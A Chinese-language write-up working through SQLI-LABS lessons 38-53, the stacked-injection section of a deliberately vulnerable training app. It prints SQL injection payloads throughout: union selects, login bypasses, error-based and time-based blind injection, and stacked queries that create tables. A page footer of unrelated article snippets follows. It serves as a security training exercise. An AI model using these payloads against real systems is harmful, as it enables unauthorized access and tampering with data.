SQLI LABS Stacked Part(38-53) WriteUp
这里是堆叠注入部分
less-38:
这题啥过滤都没有,直接上:
?id=100' union select 1,2,'3
less-39:
同less-38:
?id=100 union select 1,2,3
less-40:
输入?id=1',无语法错误回显。改成?id=1' and '1,返回与?id=1相同的结果。尝试:
?id=100' union select 1,2,'3
无返回结果,试试是不是有括号:
?id=100') union(select 1,2,'3
成功回显。
less-41:
测试方法同上,发现是数字型注入,尝试:
?id=100 union select 1,2,3
成功。
less-42:
这题本来以为是前面那个重置任意用户密码漏洞,可是这题无法创建用户。故猜测是登录绕过,尝试:
username=abc' or 1#
password=abc' or 1#
登录成功:

一下就过来了,想再好好试一下:
username=abc' or 1#
password=abc
登录失败,下面换成password试试:
username=abc
password=abc' or 1#
登录成功。
less-43:
还是像上题一样,先试试:
username=abc' or 1#
password=abc' or 1#
返回语法错误,根据报错位置,判断是password存在注入,而且注意一下,password是被括号包裹的。payload:
username=abc
password=abc') union(select 1,2,'3
登录成功:

less-44:
继续试:
username=abc' or 1#
password=abc' or 1#
登录成功!后来测试发现是password的注入。
ps: 这种简单粗暴的解法效率还挺高的~
less-45:
继续用上面的方法尝试:
username=abc' or 1#
password=abc' or 1#
发现并无报错,换成双引号也是,说明是没有错误提示的。尝试是否有括号:
username=abc') or 1#
password=abc') or 1#
登录成功。
less-46:
这题参数名变成了sort,推测注入点在order by,估计SQL语句如下:
select * from users order by sort
由于注入点在order by后面,所以没法使用union了。只能使用盲注,或者报错注入。这题名字就叫报错注入,payload:
?sort=(extractvalue(1,concat(0x7e,database(),0x7e)))

less-47:
这题跟上面差不多,只不过sort变成了单引号字符串,所以payload也稍有不同:
?sort=1'-(extractvalue(1,concat(0x7e,database(),0x7e)))-1'
报错语句的前后两个减号主要是用于与前后两个1形成一个完整的字符串
less-48:
这题没有报错回显,通过一些列fuzz,发现还是个数字型注入,fuzz方法如下:
?sort=1
?sort=2-1
这两个返回的是同一个页面,说明2-1被运算了。又由于没有回显,所以只能盲注了。用之前的脚本常规操作一波吧。
less-49:
这题还是fuzz,当输入一个单引号时不回显数据,所以这题是个单引号注入。经过一番测试发现无论输入什么,只要不是奇数个单引号,都会回显相同的内容。既然没有变化的回显就只能用时延盲注了:
?sort=1'-if((1=1),sleep(5),1)-'1
回车之后发现后端会处理五秒左右,所以就从这里注入了。还用之前的脚本,把if中的条件换一下就ok了。
less-50:
这题测试一下发现注入方法跟less-46一样,估计是个非预期解,故看一下文件名,是个堆叠注入。之前一直以为堆叠注入是union注入,现在才知道意思是两个SQL语句。由于这题是数值型,也没什么过滤,很容易再构造一个语句,先看一下数据库有哪些表:

payload:
?sort=1; create table hello like users

注意一下,create table hello后面要加上like users,因为如果直接create table的话,表是没有字段名的,所以无法创建。
less-51:
跟上一题一样,只不过是个单引号字符串,payload:
?sort=1';create table hello2 like users--%20
less-52:
数值型注入,跟上面差不多:
?sort=1;create table hello3 like users
less-53:
输入单引号后不返回信息,说明这是个单引号注入。继续上面的payload:
?sort=1';create table hello4 like users
SQLI LABS Stacked Part(38-53) WriteUp的更多相关文章
- SQLI LABS Basic Part(1-22) WriteUp
好久没有专门练SQL注入了,正好刷一遍SQLI LABS,复习巩固一波~ 环境: phpStudy(之前一直用自己搭的AMP,下了这个之后才发现这个更方便,可以切换不同版本的PHP,没装的小伙伴赶紧试 ...
- Qt 学习之路 2(53):自定义拖放数据
Qt 学习之路 2(53):自定义拖放数据 豆子 2013年5月26日 Qt 学习之路 2 13条评论上一章中,我们的例子使用系统提供的拖放对象QMimeData进行拖放数据的存储.比如使用QM ...
- (Problem 53)Combinatoric selections
There are exactly ten ways of selecting three from five, 12345: 123, 124, 125, 134, 135, 145, 234, 2 ...
- Sqli labs系列-less-3 。。。
原本想着找个搜索型的注入玩玩,毕竟昨天被实力嘲讽了 = = . 找了好长时间,我才发现,我没有 = = ,网上搜了一个存在搜索型注入的源码,我看了好长时间,楞没看出来从哪里搜索注入了....估计是我太 ...
- Sqli labs系列-less-2 详细篇
就今天晚上一个小插曲,瞬间感觉我被嘲讽了. SQL手工注入这个东西,杂说了吧,如果你好久不玩的话,一时说开了,你也只能讲个大概,有时候,长期不写写,你的构造语句还非常容易忘,要不我杂会被瞬间嘲讽了啊. ...
- Sqli labs系列-less-1 详细篇
要说 SQL 注入学习,网上众多的靶场,就属 Sqli labs 这个系列挺不错的,关卡达到60多关了,我自己也就打了不几关,一个挺不错的练习SQL注入的源码. 我一开始就准备等我一些原理篇总结完了, ...
- 【雕爷学编程】Arduino动手做(53)---土壤湿度传感器
37款传感器与模块的提法,在网络上广泛流传,其实Arduino能够兼容的传感器模块肯定是不止37种的.鉴于本人手头积累了一些传感器和模块,依照实践(动手试试)出真知的理念,以学习和交流为目的,这里准备 ...
- SQLI LABS Advanced Part(23-37) WriteUp
继续继续!这里是高级部分! less-23: 提示输入id参数,尝试: ?id=1' and '1 返回的结果与?id=1相同,所以可以直接利用了. ?id=1' order by 5# 可是页面返回 ...
- SQLI LABS Challenges Part(54-65) WriteUp
终于到了最后一部分,这些关跟之前不同的是这里是限制次数的. less-54: 这题比较好玩,10次之内爆出数据.先试试是什么类型: ?id=1' and '1 ==>>正常 ?id=1' ...
随机推荐
- Java 读书笔记 (十四) Java 方法
finalize() 方法 finalize() 用来清除回收对象. //为什么要回收内存?怎样写可以避免内存过多占用?什么时候需要手动回收内存? protected void finalize() ...
- Java程序员必备的Intellij插件
以下是我用过不错的Intellij插件 1. .ignore 地址:https://plugins.jetbrains.com/plugin/7495--ignore 生成各种ignore文件,一键创 ...
- Mac下将文件复制到移动硬盘
在Mac下将移动硬盘格式化成exfat,这样Mac和Windows都可以对移动硬盘进行识别
- 【BZOJ 3754】: Tree之最小方差树
题目链接: TP 题解: 都是骗子233,我还以为是什么神奇的算法. 由于边权的范围很小,最小生成树和最大生成树之间的总和差不会太大,所以可以枚举边权和,再直接根据方差建最小生成树,每次更新答案即可. ...
- BZOJ_1097_[POI2007]旅游景点atr_状压DP
BZOJ_1097_[POI2007]旅游景点atr_状压DP 题面描述: FGD想从成都去上海旅游.在旅途中他希望经过一些城市并在那里欣赏风景,品尝风味小吃或者做其他的有趣 的事情.经过这些城市的顺 ...
- Supervisor守护DotNet Core控制台程序
Supervisor 相信对Linux系统很熟的都知道这个软件,基于Python写的一个守护进程软件.具体的介绍和使用我就不再赘述了. 使用asp.net core 部署在Linux常用的方法 我们可 ...
- Appscan 工具快速上手教程
1.appscan扫描 (1)白盒扫描=静态扫描,扫描源代码.(2)动态扫描=黑盒扫描,用工具来模拟黑客的攻击,查看应用层的响应.产品内部会有大量受攻击的库,当我们把一个模拟攻击发给我们的应用的时 ...
- 深入学习Redis(4):哨兵
前言 在 深入学习Redis(3):主从复制 中曾提到,Redis主从复制的作用有数据热备.负载均衡.故障恢复等:但主从复制存在的一个问题是故障恢复无法自动化.本文将要介绍的哨兵,它基于Redis主从 ...
- Spring Boot 中关于自定义异常处理的套路!
在 Spring Boot 项目中 ,异常统一处理,可以使用 Spring 中 @ControllerAdvice 来统一处理,也可以自己来定义异常处理方案.Spring Boot 中,对异常的处理有 ...
- python——对图像进行卷积操作,使用多个滤波器
线性滤波可以说是图像处理最基本的方法,它可以允许我们对图像进行处理,产生很多不同的效果.做法很简单.首先,我们有一个二维的滤波器矩阵(有个高大上的名字叫卷积核)和一个要处理的二维图像.然后,对于图像的 ...